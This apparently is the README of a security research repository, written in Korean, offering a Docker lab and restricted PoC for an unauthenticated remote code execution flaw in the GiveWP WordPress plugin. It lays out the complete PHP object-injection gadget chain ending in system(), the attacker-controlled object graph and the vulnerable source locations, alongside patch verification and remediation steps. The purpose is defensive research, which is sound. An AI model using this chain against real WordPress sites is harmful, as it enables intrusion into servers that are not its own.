
# CVE-2026-82222 GiveWP RCE 검증용 공식 Docker 랩 및 클린 PoC GiveWP 4.16.5.1의 CVE-2026-82222 원격 코드 실행(RCE) 취약점과 4.16.7.2 수정 버전을 검증하기 위한 공식 Docker 랩 및 클린 PoC입니다.
격리된 Docker 랩에서 CVE-2026-82222을 재현하고 검증하기 위한 보안 연구 자료입니다.
직접 RCE PoC 및 URL 스캔은 CVE-2026-8222-RCE.py를 사용하세요
상태: 제공된 랩에서 입증됨
GiveWP 4.16.5.1은 초기에 인증되지 않은 공격자가 PHP 객체 그래프를 영속화하고, GiveWP 세션 처리를 통해 이를 부활시킨 다음, WordPress 웹 서버 사용자 권한으로 고정된 마커 명령을 실행할 수 있도록 허용합니다.
양성 결과 테스트:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
엔드투엔드 결과는 계측되지 않은 순정 GiveWP 4.16.5.1 소스에 대해서도 재현되었습니다. GiveWP 4.16.7.2는 테스트 구성에서 HTTP 전달 경로를 차단했으며, 직접 제어 중에 터미널 가젯도 독립적으로 차단했습니다.
이는 WordPress 컨테이너 내부에서의 명령 실행을 입증합니다. 루트 접근, 컨테이너 탈출, 측면 이동 또는 호스트 침해를 입증하지는 않습니다.
이 저장소는 소유한 시스템 또는 명시적으로 테스트 권한을 부여받은 시스템에서만 사용하십시오.
제공된 PoC는 의도적으로 제한되어 있습니다:
touch /tmp/CVE-2026-82222-RCE-GETBAG만 실행합니다.--allow-authorized-non-loopback 플래그를 제공하지 않는 한 루프백이 아닌 대상을 거부합니다.127.0.0.1에만 게시합니다.HTTP 테스트는 일회용 기부자 사용자, 메타데이터 및 GiveWP 세션 행을 생성합니다. 테스트 후 포함된 리셋 명령을 사용하십시오.
요구 사항:
curlunzipsha256sum 또는 shasumdownloads.wordpress.org 네트워크 접근전체 취약/패치 매트릭스 실행:
./lab verify
이 명령은:
ProviderForwarder 터미널도 문자열 콜러블을 거부하는지 확인합니다.패치된 랩은 마지막에 계속 실행 상태로 유지됩니다. 다음으로 제거하십시오:
./lab reset
다른 루프백 포트를 사용하려면:
LAB_PORT=8099 ./lab verify
취약한 제어는 구체적인 터미널 증거로 끝나야 합니다:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
패치된 제어는 다음을 보여야 합니다:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
마커 없이 HTTP 500, 저장된 페이로드, 예외 또는 탐지기 적중은 RCE 증거로 인정되지 않습니다.
취약한 릴리스 시작 및 테스트:
./lab start vulnerable
./lab test
패치된 릴리스 시작 및 테스트:
./lab start patched
./lab test
현재 상태 확인:
./lab status
컨테이너, 볼륨, 테스트 사용자, 세션 및 마커 상태 제거:
./lab reset
캐시된 플러그인 ZIP 및 추출된 자산은 더 빠른 재실행을 위해 보존됩니다. 생성된 정확한 자산도 함께 제거하려면:
./lab reset --purge-assets
| 버전 | 평가 |
|---|---|
| GiveWP 4.16.5.1 | RCE 엔드투엔드 재현됨 |
| GiveWP 4.16.6–4.16.7.1 | 영향 보고됨; 여기서 개별적으로 재현되지 않음 |
| GiveWP 4.16.7.2 | 패치된 음성 제어 재현됨 |
| 이후 릴리스 | 개별적으로 테스트되지 않음; 최신 지원 릴리스로 업데이트 |
공개 권고는 4.16.7.1까지의 릴리스를 영향 대상으로 식별합니다. 이 저장소는 양성/음성 테스트 매트릭스의 두 버전만 직접 입증합니다.
참고 자료:
이 익스플로잇은 여러 동작을 결합합니다:
Give\Helpers\Utils::maybeSafeUnserialize()는 allowed_classes => false를 사용하여 __PHP_Incomplete_Class를 생성하지만, 이후 직렬화는 원래 클래스 이름과 속성을 보존합니다.maybe_unserialize()가 포함된 클래스를 부활시킵니다.system()으로 이어지는 완전한 POP 체인에 진입합니다.HTTP 전달 경로에는 리터럴 네임스페이스 백슬래시 4개가 필요합니다. 두 번의 유효한 제거 과정이 이를 4 -> 2 -> 1로 줄입니다. 페이로드는 NUL이 없으며, PHP 8.1.30이 private Session::$attributeName 속성에 대해 일반 직렬화된 이름을 수화시키는 것이 검증되었습니다.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
공격자 제어 그래프:
TCPDF
├── file_id = 고유 요청 식별자
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = 고정 마커 명령
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
중요한 숨겨진 전환은 PHP의 암시적 IteratorAggregate 디스패치입니다. TCPDF::$imagekeys는 타입이 지정되지 않았으므로 Symfony Session을 할당하면 foreach가 Session::getIterator()를 호출하게 됩니다.
마커 명령은 Symfony가 getAttributeBag(): AttributeBagInterface 반환 타입을 강제하기 전에 실행됩니다. 결과적인 TypeError 및 HTTP 500은 싱크 이후 효과입니다.
거부된 후보 그래프는 다음을 사용했습니다:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
이 그래프는 작동할 수 없습니다. TCPDF::_destroy()는 objcopy만 unset합니다. PHP는 자동 소멸을 __call('__destruct', ...)로 라우팅하지 않습니다.
누락된 작업은 다음과 같습니다:
foreach ($this->imagekeys as $file) {
이전 검토는 소멸자와 명시적 메서드 호출을 따랐지만 foreach에 의해 트리거되는 암시적 객체 프로토콜을 재귀적으로 검사하지 않았습니다. Symfony Session이 누락된 브리지를 제공합니다:
foreach는 getIterator()를 호출합니다.getIterator()는 getBag($attributeName)에 도달합니다.storage는 DonationFactory입니다.getBag는 ProviderForwarder::__call()을 호출합니다.loadedProviders['getBag'] = 'system'이 콜러블을 선택합니다.attributeName이 명령 인수를 제공합니다.관련 GiveWP 4.16.5.1 위치:
| 구성 요소 | 위치 |
|---|---|
| 보호된 초기 unserialize | src/Helpers/Utils.php:203-217,237-241 |
| 기부 전달 경로 | includes/process-donation.php:157 |
| GiveWP 세션 영속화 | includes/class-give-session.php:364-368,489-508 |
| 제한 없는 세션 부활 | includes/class-give-session.php:347-350 |
| TCPDF 소멸자 | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| 공격자 제어 반복 | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Symfony 반복자 브리지 | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Symfony getBag 브리지 | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| 터미널 콜러블 | src/TestData/Framework/ProviderForwarder.php:19-23 |
| GiveWP Composer 오토로더 | give.php:624-625 |
공식 릴리스 해시:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
랩은 매번 새로 시작할 때마다 검증된 ZIP에서 각 플러그인을 다시 추출하고, 수정 없이 WordPress에 복사하며, 배포된 전체 플러그인 파일 트리를 검증된 소스와 바이트 비교합니다. 세 개의 공식 Docker 기본 이미지도 멀티 아키텍처 매니페스트 다이제스트에 고정되어 있습니다.
GiveWP 4.16.7.2는 등록, 직렬화된 입력 처리, 세션 부활, 데이터 마이그레이션 및 가젯 하드닝 전반에 걸쳐 독립적인 방어를 추가합니다.
터미널 하드닝은 해결된 객체가 예상 공급자 계약을 구현해야 합니다:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
따라서 공격자 제어 문자열 system은 거부됩니다. 이 저장소의 직접 제어는 HTTP 전달 경로를 우회하고 이 터미널 방어만으로도 마커가 없음을 검증합니다.
음성 PoC 결과만으로는 사이트가 패치되었음을 증명하지 않습니다. WAF, 다른 라우팅, 비활성화된 등록, 누락된 레거시 양식, 세션 구성 또는 비활성화된 PHP 명령 함수가 모두 여전히 취약한 코드베이스에서 마커를 차단할 수 있습니다.
권장 검증 절차:
버전 확인:
wp plugin get give --fields=name,status,version
GiveWP를 최신 지원 버전으로 업데이트하십시오. 업데이트 후:
TCPDF, Symfony Session 또는 loadedProviders 그래프를 검색합니다.인터넷에 노출된 취약한 설치에 객체 주입 아티팩트가 포함된 경우 플러그인만 업데이트하는 것이 아니라 잠재적 침해로 취급하십시오.
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
커밋되지 않음:
공식 플러그인 ZIP
추출된 GiveWP 소스
계측된 대상 소스
쿠키 또는 세션 데이터
런타임 증거/로그
내부 대상 주소 또는 재사용 가능한 자격 증명
폐기된 objcopy 페이로드
과거 검증 출력
| 주장 | 상태 |
|---|---|
| 지속적 PHP 객체 주입 전달 경로 | 입증됨 |
| 포함된 클래스의 부활 | 입증됨 |
| 완전한 스톡 POP 체인 | 입증됨 |
| 웹 사용자로 실행된 고정 마커 | 입증됨 |
| 순정 4.16.5.1에 대한 재현 | 입증됨 |
| 순정 4.16.7.2에 대한 음성 제어 | 입증됨 |
| 모든 중간 영향 릴리스 테스트 | 테스트되지 않음 |
| 루트 권한 | 주장되지 않음 |
| 컨테이너 탈출 | 테스트되지 않음 |
| 호스트 침해 | 테스트되지 않음 |
증명 기준은 의도적으로 엄격합니다. 수정되지 않은 스톡 체인을 통한 관찰 가능한 명령 마커만 RCE로 표시됩니다. HTTP 수락, 직렬화, 예외 및 탐지기 적중은 중간 증거입니다.